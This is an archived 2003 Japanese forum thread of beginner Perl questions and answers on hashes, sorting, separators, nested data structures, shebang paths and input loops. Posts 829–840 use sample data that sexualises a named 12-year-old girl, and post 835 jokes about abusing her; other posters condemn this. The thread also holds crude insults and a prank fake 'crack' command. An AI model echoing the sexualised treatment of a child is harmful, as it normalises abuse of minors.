Perlで、手軽にBinary Search や クイックソートしたいんですが、 ライブラリやモジュールあるんでしょうか? ちなみに、Web探してたら、PerlではBinary Searchじゃ無くてHASH を使うのが普通と出てたんですが、具体的にどうやるんですか?
具体的に何をしたいんですか?
799 :
デフォルトの名無しさん :03/10/22 23:02
単に、Linuxのパスワードファイルにユーザを新規に大量に登録したいんですが、 現在、UIDが飛び飛びで登録されているんで、既に登録されているUIDと重複 しないように、「Binary Search」で新規登録する度に既存UIDとの重複 チェックしたいのです。 Binary SearchするためにはUIDが、昇順か降順にならんでなきゃいけないみたい なんで、クイックソートでも使おうかなとおもいました。 HASHで手軽ににできるなら、それが一番いいかなと思います。。
>>799 perlのハッシュって
my %passwd;
$passwd{"oda"}="gvggv";
$passwd{"tanaka"}="weqw";
こういうやつのことだよ
ハッシュってそもそもどういう意味?
>>801 粉々にしたジャガイモ。マクドナルドで売ってる。
803 :
デフォルトの名無しさん :03/10/22 23:17
そう、perlのハッシュといったら、 %passwdとかしか思い浮かばなかった んで、なんで、これで、サーチできんのかわからんかったんです。 ただ、どこのWebに出ててたか忘れましたが、Search::Hash か Hash::Search 見たいに、書いてあったんで、こりゃ、標準でPerlはそんなライブラリか モジュールがあんのかな?と思ったんですが、ラクダ本とかには出てなかったんで。。
>>803 基本情報処理の本かアルゴリズムの本かっとけ
>>799 my @uid = sort { $a <=> $b } (1024, 2048, 3096, 1234, 2468);
my %uid = map { $_, 1 } @uid;
my $uid = 1000; # 探し始めの番号
$uid++ while $uid{$uid};
UID程度なら一旦既存の値を全部変数にぶち込みゃ早いんじゃ ちなみにperlのソート関数sortってクイックソートだったよね?
>>806 デフォルトのアルゴリズムはクイックソート
安定なアルゴリズムを使いたければsortプラグマで操作も出来る。
sort (list); # 高速なアルゴリズムを使用(5.8.0時点での実際のアルゴリズムはクイックソート)
use sort 'stable';
sort (list); # 安定なアルゴリズム(マージソート)
データをテキスト形式で保存するときの使い勝手のいいセパレータを探してます。 kentのscriptなんかは<>でセパレートしていて<、>が入力されると<、>にエスケープ、&は&にエスケープしてますよね。 別の所で見かけたのは\tでセパレート、\tが入力されるとスペース3つにエスケープ。通常の利用だとWEB上から タブが入力されることは少ないからこっちの方がスマートかな。 でもどちらも自分的には美しくないです。 究極のセパレータは存在しないとは思いますが理にかなってる使い勝手のいいセパレータという物はありませんでしょうか。 やはり特殊文字や制御文字辺りがいいのかな。
罰 kentのscriptなんかは<>でセパレートしていて<、>が入力されると<、>にエスケープ、&は&にエスケープしてますよね。 丸 kentのscriptなんかは<>でセパレートしていて<、>が入力されると&lt;、&gt;にエスケープ、&は&amp;にエスケープしてますよね。 すまんです。
絶対に使いそうにない漢字とかどう?
エディタでいじることをあんまり考えないのであれば、 \0 あたりとか。でもそれなら最初からバイナリにするよなぁ。 個人的には \014 (^L) をよく使う。古来より改ページを 意味する制御コードなので、テキストに入っていても変じゃない。 bbs.cgiでは使えるのだろうか。
>>809 &を書きたい時には、&amp;って書けばいいよ。
<は&lt;ね。
CGIで<>をセパレータにするってのは普通HTMLタグをエスケープするわけだから s/</&/g; だけでタグの破壊とセパレータのためのエスケープを同時に行えるっつー点で結構、理に適ってると思うけどね
&→<
なんか
>>312 に釣られた気分(;゚д゚)
815 :
デフォルトの名無しさん :03/10/24 12:12
formをenctype="multipart/form-data"で送信した場合 windowsでは\r\nContent-Type:となっているけどmacだと\rContent-Type:ってなるんですか?
何?最近はCGIの話題もOKになったの?
聞くバカと答えるバカが居るから仕方ない
820 :
デフォルトの名無しさん :03/10/25 15:09
Error.pmに関して質問です。 色々な例を見るとthrowの際に Error::Simple、Error::IO、Error::Bad、IOException、 MathException、DivideByZeroException、DBConnectionException、 など色々な例外の投げ方があるんですけどこれらの 使い分けについて分かる方いらっしゃいますか?
あともう一点。 このError.pmはPerl6で実装される例外処理と記述方法に 互換性はあるのでしょjか?
PerlMagickでgifアニメを拡大縮小使用とすると始めの一枚目だけ小さくなって 2枚目以降は元のサイズのままなのですが 全ての画像を変換するやり方ありますか?
824 :
デフォルトの名無しさん :03/10/27 16:54
なんか昨日あたりからCPAN Searchのキーワード検索がおかしいんですけど。 モジュール名で検索しても目当てのモジュールが出てこない・・・
ちょっと。不思議に思ってることがあるんですが。 レンタルCGIで言語がPerl。の環境で。 そのサイトにアクセスしたらどこからアクセスしたかわかるみたいなんですが。 でも、それって変だと思ったんですが。 それは、そのレンタルCGIを借りている人は サーバの管理者じゃないから、ログとかは見れないと思うですよ。 どうなんでしょうか?
print "Content-type: text/plain\n\n"; foreach $var (sort(keys(%ENV))) { $val = $ENV{$var}; $val =~ s|\n|\\n|g; $val =~ s|"|\\"|g; print "${var}=\"${val}\"\n"; } これでも動かしてみろ
829 :
デフォルトの名無しさん :03/10/27 21:33
パールのハッシュ変数についての質問なんですが、 %child = ('age' => '12', 'honban' => 'nashi'); %children{'NishimuraKaori'} = $child; みたいな入れ子はできないんですか?
830 :
デフォルトの名無しさん :03/10/27 21:36
できる
%child と $childは全然別もん。 言いたい事はわからんでもないが、それ以前の問題。 だいたい例が下品。 どっか、行け。
自己解決しました %child = ('age' => '12', 'honban' => 'nashi'); $ref = \%child; %children = ('NishimuraKaori' => $ref); $tmp = $children{'NishimuraKaori'}; $out = "age : ".$$tmp{'age'}."\n"; $out .= "honban : ".$$tmp{'honban'}."\n"; print("$out");
>>829 はAV販売サイトでも作ろうとしてるのか?
835 :
デフォルトの名無しさん :03/10/27 22:52
そうだ。そうやって小学校の前でぞーさん、ぞーさんやって、 にしむらかおりが面白がったらおもむろにしごいてデリファレンスすんだ。 いいからもう来るなよ。
>>833 こうゆうこともできるよ。
my %children=(
'NishimuraKaori' => {
'age' => '12',
'honban' => 'nashi'
}
);
print("age : $children{'NishimuraKaori'}{'age'}\n");
print("honban : $children{'NishimuraKaori'}{'honban'}\n");
exit;
837 :
デフォルトの名無しさん :03/10/27 23:04
なに得意気にロリに語ってんだ。 ばかかたれどもが
838 :
デフォルトの名無しさん :03/10/27 23:39
なにが自己解決だ、ばか。 当たり前のことにつまづいて初心者以前のことに気が付いたからっていちいち報告してんじゃねーよ。 ばかろり。
心の棚の狭いヤツが多いな
>>839 心が狭いだぁ?
'NishimuraKaori'の親の身にもなってみろ
下品な奴らめ。
842 :
デフォルトの名無しさん :03/10/28 13:30
あめりかcgiで日本語表示しようと <META http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> を入れたんですが エンコードが西ヨーロッパ言語(ISO) どうすればいいでせふ
>>841 ほんとに心が狭いですね。
コミュニケーションとか下手でしょう、あなた?(^_^;)
844 :
デフォルトの名無しさん :03/10/28 13:43
お前らホント負け組そのものだね。 金も女もない馬鹿が、こんな掃き溜めで傷の舐めあいか? ま、パソコンかオナニーしかやることねーんだろけどよ。 この季節、女の一人もいねえ奴は悲惨だな。
845 :
デフォルトの名無しさん :03/10/28 13:50
うわあ、自虐的(^_^;)
マァブ★タンが紛れてるのか?(w
848 :
デフォルトの名無しさん :03/10/28 16:19
>847 検索してもありませんでした→WebProg
ありましたでつ
850 :
デフォルトの名無しさん :03/10/28 20:11
本当に初心者の質問なんですが、 F:\perl\bin\perlにアクティビパールがある場合は パスをどのように書けばよろしいのでしょうか?? 教えてください。
いいなぁアクティビ
>>850 #!F:/perl/bin/perl
でいいんじゃねえの?active perl 使った事ないけど
環境変数の設定も必要なんじゃない?
853 :
デフォルトの名無しさん :03/10/28 20:58
C:\AutoExec.batのSET PATHをかきかえるんかいな。 ネット調べて、コピーとってからかきけりゃいいんでないの?
>>850 ちょうど探しものをしているときに見つけた(ので正しいかどうか不明)。
#!F:\perl\bin\perl.exe でどう?
パス通っていたら #!perl でいい。
>>#!F:/perl/bin/perl >>#!perl ??? Windows のコマンド(cmd)で見てくれないから意味なし(笑) パス通す?? 意味なし。。 単に、拡張子の関連づけだけ!
857 :
デフォルトの名無しさん :03/10/28 22:16
なわけねーだろ
APPLETの話なのですが、複数パネルがあるうちに、 パネル指定してg.drawしたいときは どのようにすればいいのでしょうか
え?
perlみたいな文法ぐだぐだ言語はだめぽ・・・ 所詮厨房御用達のお遊び言語ぽ・・・
Perlで韓国語や中国語の処理をしたいのですが、 参考になるサイトとかありませんか? できれば、日本語か英語のサイトで…
>>862 サンクス。
Perl 5.8を使わないといけないわけですね。
今までPerl5で済ましていたから切り替えが面倒そうだなぁ…
とりあえずちょっと試してみます。
>>863 Unicode::MapとUnicode::StringはPerl5.6で行ける。
865 :
デフォルトの名無しさん :03/10/29 21:25
$number =<STDIN>; chomp ($number); 何人分のデータを入力しますか?:x人分<改行> 1人目の名前を入力してください。:太郎<改行> 1人目の点数を入力してください。:90<改行> 2人目の名前を入力してください。:次郎<改行> 2人目の点数を入力してください。:80<改行> 3人目の名前を入力してください。:薫子<改行> 3人目の点数を入力してください。:70<改行>・・・・・・・・ って何人分かは最初にキーで入力して決めて 名前と点数を入力していき、合計と平均を出すという よく分からないプログラムってどうやれば良いんですか? 最初から人数が決まってれば作れるんですけど、 人数は限定しないで作るのは難しくて・・・。誰か少しでも手助けを・・・。
$numberの値を使ってループすればいい話では
867 :
デフォルトの名無しさん :03/10/29 21:52
もうちょっと具体的に教えてください。 $numberのループってハッシュをつかってforeachでループですか? 散々試したんですけど。。。頭がこんがらがって・・・もう・・・。
print "何人分のデータを入力しますか?:"; $number = <STDIN>; $number += 0; %data; $total; for (my $i = 1; $i <= $number; ++$i) { print "$i人目の名前を入力してください。:"; my $name = <STDIN>; chomp $name; print "$i人目の点数を入力してください。:"; my $point = <STDIN>; $point += 0; $data{$name} = $point; $total += $point; } printf "合計点は%d点、平均点は%d点\n", $total, $total / $number; print map { "$_ : $data{$_}点\n" } sort { $data{$b} <=> $data{$a} } keys %data; いまいち君の悩みどころが掴めないんだけど、つまりこういうことがやりたいの?
869 :
デフォルトの名無しさん :03/10/29 22:29
嗚呼まさにコレです。ホントに有り難う御座います。 こんな難しいんですね・・・。ハッシュとか使って頑張って苦労してまして・・・。 perl初心者でして。親切にして頂いて感謝ヽ( ・∀・)ノです。
>>865 (1) 最初に $counter=0, $total= 0 として
(2) 1人分点数を入力するごとに $total に入力値を加算して、
$counter++ して
(3) 名前に たとえば "END" が入力されたら
そこで入力が終了したものとみなすことにして、
ループを抜ける。
(4) $total を $counter で割れば平均が出る。
--- というのが素直ではないかと思う秋の夜。
871 :
デフォルトの名無しさん :03/10/29 23:02
嗚呼そんな方法もアリか。 奥が深いでつね。有り難う。
>>836 勉強になります。
>>841 「入れ子」で悩んでたので猥褻な例えを使ってしまいました。
以後気おつけます。
NisimuraKaoriは架空の名前です。
>>872 おかしな人に話し掛けないほうがいいよ。絡まれちゃうよ(^_^;)
もはやPerlと関係ない世界に突入してるな
Perl5に例外処理とちゃんとしたOOがあれば満足なんですが それでもラリーはPerl6を作りますか?
マッチングで、 $a =~ /$b/ig; と書いたとき、$b内に\が含まれている場合はエラーが出て止まってしまいます。 $bをダブルクォートやシングルクォートで括った場合は、マッチングが行われていないようです。 マッチングパターン内の変数は展開し、変数内のメタ文字を評価しないようなマッチングはどうやればいいのでしょう…
早くも自己解決?? oオプション入れれば良かったんすね…
あほな質問かもしれませんが・・・ DOS窓から文字打ったら実行するProgramは どうやればいいんでしょう
何があほって、その文章でまともに質問した気になってるのがあほだと思う。 わけわかんねえよ。
$mini{ai}->{age} とかやりたいだけなんですけど、 $profile{age}=15; …; $mini{ai} =\%profile; $profile{age}=16; …; $mini{nozomi}=\%profile; これだと同じの指すのでダメですが、 $profile{age}=15; …; $mini{ai} ={%profile}; $profile{age}=16; …; $mini{nozomi}={%profile}; 文法的にはこれでいいんでしょうか? どうか、おながいします。
まともな例考えてから出直せ
883 :
デフォルトの名無しさん :03/10/30 13:37
>>878 hoge.pl--------------------
print '入力して下さい :';
chomp($in = <STDIN>);
print '入力した文字は',$in,'です',"\n";
で
perl hoge.pl
ありがとうございます。 あと1つ教えてもらいたいことが・・・ 例えば suuzi.txtに 13 27 とか入れといて suuzi.txtを読み込み、1と打つと3、2と打つと7が出る 見たいにできないですか?
やろうと思えばどうでもできる
886 :
デフォルトの名無しさん :03/10/30 14:24
教えて下さい。 下記のようなプログラムを書いてます。 hogeが見つかれば、hogeの内容を変更して、ファイルに書き出す プログラムです。 foreach ( @data ) { chop ; if ( $_ =~ /^hoge/ ) { $str2 = "hoge=$hoge" ; $str .= $str2."\n" ; next ; } $str .= $_."\n" ; } print FOUT $str ; 改行コードを付けて、ファイルに書き出してるのですが エディタで、開くと、hoge以外の部分は、改行部分に^Mの記号が付いて しまってます。 おそらく改行コードが化けてると思うのですが どうしたら、直りますか? また、hogeの最後の部分には、^Mが入ってません。 どなたかお願いします。
な、何をしたいのかよくわからん・・・
889 :
デフォルトの名無しさん :03/10/30 15:23
>>884 ---------------
open DAT,"suuzi.txt" or die;
while (<DAT>){
$suuzi{substr($_,0,1)} = substr($_,1,1);
}
close DAT;
print '入力して下さい :';
chomp($in = <STDIN>);
print $suuzi{$in},'です',"\n";
---------------
とりあえず動くけど、例外処理とか実際のデータ形式とか
あるだろうからたぶんいろいろせないかんと思うが
自分で考える、やってみる癖つけたほうがいいぞ
RFC2047 に対応した MIME Header Encoder/Decoder のモジュールって無いでしょうか? Encode::MIME::Header は対応しているものの UTF-8 のみ。 Jcode は RFC1522 です。
>>886 chopをchompにしたらどうかのう。
http://www.imagemagick.org/www/perl.html このページにあるソースなんですけど
for ($x = 0; $image->[x]; $x++)
{
$image->[x]->Frame('100x200') if $image->[x]->Get('magick') eq 'GIF';
undef $image->[x] if $image->[x]->Get('columns') < 100;
}
というのがあって、 この $image->[x] の x が何なのかわからないのです。
変数だったら $x ですよね? x ってなんなのかおしえてください・・・
一言、良いか悪いかだけでもおながいします。
頭が悪い 例が悪い マナーが悪い 三言も言ってやったぞ
なぜか、化けずに出来ました。
原因としては、ファイルが、アスキーテキストではなく
ISO-8859のtxtで、拡張子がdatの為に
FTPソフトで、バイナリで送られたみたいです。
そこで、変換されてなかったと思われます。
今度、chomp試してみます。
>>891 さん
ありがとう
とりあえず、文法上はあってるのかな? つーか、C++とかが分かる人専用のperlスレってないのかな…。
$person{1}->{age} とかやりたいだけなんですけど、 $profile{age}=41; …; $person{1} =\%profile; $profile{age}=38; …; $person{2}=\%profile; これだと同じの指すのでダメですが、 $profile{age}=41; …; $person{1} ={%profile}; $profile{age}=38; …; $person{2}={%profile}; 文法的にはこれでいいんでしょうか? どうか、おながいします。
ハッシュ自身はリストを返すという理解でいいの?
>>899 実際に組んでみりゃわかるだろ。あと変数の中身がどうなったか出力汁。
そもそも同じハッシュのリファレンスをぶちこんでどうする気だ。
$person{1}->{'age'}に直で入れることだってできるぞ。
>>899 最初の書き方 \%profile は、同じメモリ領域に対するリファレンス
後の書き方 {%profile} は、そのときの %profile と同じ内容のコピーを持つ、新しい無名ハッシュへのリファレンス
て、感じのことが ラクダ本に書いてある。2chでおながいするより本買え
>>902 ありがとん。まだperl始めて1週間なもんで…。
本を注文する時間よりは早いと思ったから。スマソ。
904 :
デフォルトの名無しさん :03/10/31 20:10
ほんとにここはひどい文法ですね
@person; $ref = { name => foo, sex => male, age => 20, b-type => A } push @person, $ref;
906 :
おねがいします!!! :03/11/01 13:46
CGI設置で困っています。 仕組みの方は理解しているのですが… どうやら配布されているPerlが壊れていて困ってます。 ★★★★★★★★★★★★★★★★★★★★★★★ # ロック解除 # #--------------# sub unlock { rmdir($lockfile); $lockflag=0; } ★★★★★★★★★★★★★★★★★★★★★★★ というPASSをかけるPerlなんですが… rmdir($lockfile); ↑↑ここ という記述がおかしいようです。 どのように直したらよいのでしょう? 教えてください!!
だから。壊れてるPerlなんか拾ってくるな、ってばよ
素人は排他制御なんかしなくていいよ
909 :
デフォルトの名無しさん :03/11/01 14:58
unlinkにすれば。
910 :
デフォルトの名無しさん :03/11/01 15:47
アクセス権という落ちじゃないだろうな。
1つのperlスクリプトを常駐させておい指定の時間になったら指定の perlスクリプトを実行、終了させていののですが、perlでそのようなことは できるのでしょうか? 調べてみたのですが、解りませんでした。ヒントだけでも頂けると ありがたいです。
cronじゃだめなのか?
オススメ ↑ 1. cron 2. atで自分を再設定 3. デーモンにする ↓ オススメできない
windows...
タスクに追加すれ
917 :
デフォルトの名無しさん :03/11/02 01:59
VisualPerl使った事ある人いますか? もしいたら感想教えて下さい。
EUCで書いたスクリプトで use encoding 'euc-jp'; と $hoge = '何か'; decode('euc-jp', $hoge); を一緒に使うと decodeでWide character in subroutine entry at Encode.pm line 154. とエラーがでるのですが何とか一緒につかえないでしょうか? もしかしてそもそも一緒に使うのは的はずれなのでしょうか? ActivePerl5.8.0Build806です。
>>912 自作のスケジュール管理スクリプトで、同じようなことをしてる。
今はforkで分身を作って、子プロセスで指定のperlスクリプトを実行&終了させてる。
if ( fork() ) {
# 親プロセス
# そのままスケジュール管理を続行
} else {
# 子プロセス
# 指定のスクリプトを実行してあぼーん
exec 指定のスクリプト;
}
あんまりスマートじゃないような気がするけど、他の方法が思いつかなかった。
Windowsのタスクスケジューラの設定がもっと簡単に出来ればいいのになあ。
設定がテキストファイルになってれば、コピーして実行時間や実行パスなどを
書き換えるだけでいいのに。。。
>>920 ありがとうございます。
私はこちらにしか書いてないのですが、
誰かがあっちに書いてくれたようです。
922 :
デフォルトの名無しさん :03/11/02 21:54
perlの基本〜中級くらいの参考書ってなにか良いのありませんか? よく見かけるモノっていつもperl/CGIなんですよ。 プログラミング専門の参考書ってなかなか良いのが無くて・・・。 どなたか教えてくださいませ。
コブが無い方
925 :
デフォルトの名無しさん :03/11/02 22:55
>924 オンラインマニュアルは参考になりました(有り難う御座いました) が、参考書は一般的なものでしたので どなたか良い参考書、引き続きお願いします。
927 :
デフォルトの名無しさん :03/11/02 23:53
テキスト形式のファイルを読み込むときに、 空行を除く最終行だけをある変数に取り込みたいのですが、 いい方法はないですか?
はい。
ふぅん
>>918 一緒に使うのは的外れ。
…というか、ソース内の文字列をいちいちdecodeしなくて済むようにencodingプラグマが存在しているわけだが。
932 :
デフォルトの名無しさん :03/11/03 00:26
Windows版のPerlだと alarm() が使えないらしいのですが、 これに変わる方法ってありますか?
934 :
デフォルトの名無しさん :03/11/03 01:53
成る程perlの参考書は色々ありそうでつ。 でも書店で見たこと無いからネットで買うのかな・・・。 やはり本は中身を見て買いたいが、そんなことも云ってられない。 情報THANKSでした。
>>934 ラクダ本は持ってる?
それだけでも次のレベルってのが結構変わってくる気がするが
WebProg板をクラックする方法を教えてください
本7?
あの・・perlってコンパイル可能なのでしょうか? vbとperlと言うとどちらの方が、良いでしょうか? どなたか・・
941 :
デフォルトの名無しさん :03/11/03 12:52
>935 ラクダは持ってません。ああいう教科書みたいな本は 基本的に買いません。
>>938 名前欄には: user 山崎渉
メール欄に: J6MzHz0M6bhZBeV.ERiVP92G=
本文書く欄: command login board perl dell (消したいスレ) (消したいレス)
>>940 Perlのソースコードをダウンロードしてきた場合はコンパイルしないと使えないよ。
ひどいやつがいるな(w
アタシのこと?(^o^;)
ひどいやつがいるな(w
>>940 コンパイルしてロードモジュールを作ることはできない。rubyも。
二行目は意味不明。
>>926 古すぎる。あとガクシャセンセイの本はたいていろくなものがない。
コンパイルできないと・・もう・・逝きそうですわ。 オープンソースってことですかね。もう、恥ずかしいですわ。 Vb見たいにコンパイルできませんのかね。perlにデザインが無いとは・・ 吊ってきますー
>>953 つまり
・恥ずかしいソースしか書けない
・単純なソースにふっかけようとしてる
ということか?
955 :
デフォルトの名無しさん :03/11/03 17:50
956 :
デフォルトの名無しさん :03/11/03 17:51
識別子の名前が恥ずかしくて公開できない(///▽///)
変数名がローマ字なのは、見る方が恥ずかしいが本人は平気
>>957 日本語のローマ字化ならまだ許容範囲
rink とか見ると見てるほうが欝になる
960 :
デフォルトの名無しさん :03/11/03 22:37
初歩的な質問で申し訳ないですが1つ質問させてください。 人の書いたソース読んでたら配列や変数名の先頭に ' が付いてるのがあるのですが これはどういう意味なんでしょうか? $'hoge @'hoge など...
>>961 普通に変数として使えるみたいですねぇ。
知らなかったのでちょっと調べてみたところ・・・
::と同じ意味で使われるらしいです。
$main::hoge
$::hoge
$main'hoge
$'hoge
はいずれもmainパッケージの$hogeを指すってことみたい。
まあPerl4風の書き方はdeplicatedで今時はやらんけどね
package test; $'hoge = 0; print "$hoge\n"; 上のようにしたら下のエラーが出ました。 # Name "main::hoge" used only once: possible typo at plum line 87. # Name "test::hoge" used only once: possible typo at plum line 88. # Use of uninitialized value at plum line 88. エラーから推測するとパッケージレベルでの変数のスコープの違いって事でしょうか? 違ってたらご助言頂けると有難いです。。。
>>965 お前自分の言いたいことばっか喋って他人の話聞かないタイプだろ
>>963 なるほど。。
なんとなく理解できました。
パッケージ云々はやった事無かったので検索して色々調べてみます。
レスありがとうございました。m(_ _)m
>>966 リロードせずに書いてしまったので・・。
もうしわけないです。。
次スレどうするよ
969 :
デフォルトの名無しさん :03/11/05 15:35
$a = 0; print eval"1 || $a", "\n"; # 1と表示 $a = undef; print eval"1 || $a", "\n"; # 何も表示されず。何で?
>>969 構文エラーが起きてるんじゃないの?
eval実行後に "$@" の中身を確かめてみたらいいかも
print "error: $@\n";
>970
974 :
デフォルトの名無しさん :03/11/05 20:50
975 :
デフォルトの名無しさん :03/11/05 21:23
print "生まれた元号を入力して下さい。"; $type = <STDIN>; chomp($type); if ($type == "明治") { $type = 1867; } elsif ($type == "大正") { $type = 1911; } elsif ($type == "昭和") { $type = 1925; } elsif ($type == "平成") { $type = 1988; }; print "生まれた年を入力して下さい。"; $year = <STDIN>; chomp ($year); print "生まれた月を入力して下さい。"; $month = <STDIN>; chomp ($month); print "生まれた日を入力して下さい。"; $day = <STDIN>; chomp ($day); $sum = $type + $year; print "あなたの生まれた日は$sum,$month,$day" 元号を数字に置き換えたら出来るんですけど、 漢字のまま入力して誕生日が表示するようにしたいんです。 このままだと何を入れても明治生まれとして認識されてしまって・・・。 どうやったら良いか分かりません。どなたか教えてください。 素人でスマソ(´ω`)
>>975 まず標準入力から受け取った $type に
整数を上書きしてるのが俺的には?だが
文字列比較は Perl では == じゃありません
$type == "明治" という式では
$typeが真(値が標準入力から入っているから)、"明治" が値として真
なので、式全体としては 真
したがって一番最初のif 文が評価されるので $type = 1925が入る
977 :
デフォルトの名無しさん :03/11/05 22:08
>>976 > まず標準入力から受け取った $type に
> 整数を上書きしてるのが俺的には?だが
どこがおかしいんだ?
978 :
デフォルトの名無しさん :03/11/05 22:13
型変換を意識してるんだろう。 速度考えるとおすすめできない。 1→ '1'
elseif
981 :
デフォルトの名無しさん :03/11/05 22:50
>976 じゃあどうすれば漢字を入れても正しく機能するのでしょうか? ==を=に直しても結果は変わりませんでした・・・。難しい・・・。
>>981 Perl 文字列 比較 演算子
でググりましょう、すぐ分かるYO
983 :
デフォルトの名無しさん :03/11/05 23:06
ああ。分かりました。eqでつね? 有り難う御座いました。
>>969 >>980 $a = undef; の時 "1 || $a" は '1 || '
|| の右オペランドが無いから構文エラー。
つーわけで
>>972 が正解。
$@を知らなくて 「こいつ、スカラの$と配列の@並べてやがる(プ」 とでも思ったんだろ
誰か次スレ立てれ
>>972 >>984 どうもありがとう。
$a = 0;
print eval "1 || $a"; # 1と表示
$a = undef;
print eval "1 || $a"; # 何も表示されず
print eval "1 || undef"; # 1と表示
おかげで、0とundefの違いや、undefを代入した変数を使う場合とundefを直接
使う場合の違いがわかりました。
print("消化");
print("消化");
#!/usr/bin/perl use strict; #Perlでオブジェクト指向風プログラミング package Neko; { sub new { my($class,$s)=@_; my $self={ name => $s, }; bless($self,$class); return($self); } sub naku { my $self=shift; print("にゃあ。俺様は$self->{name}だ。\n"); } } package main; { my $dora=new Neko("ボス"); print("あなたの名づけた猫がメモリ上に生成されました。\n"); print("猫が鳴きます。\n"); $dora->naku(); }
( ´_ゝ`)
print("消化");
print("消化");
print("消化");
print("消化");
$res = 997
print <<"Over 1000 Thread";
あへっ
1001 :
1001 :
Over 1000 Thread このスレッドは1000を超えました。 もう書けないので、新しいスレッドを立ててくださいです。。。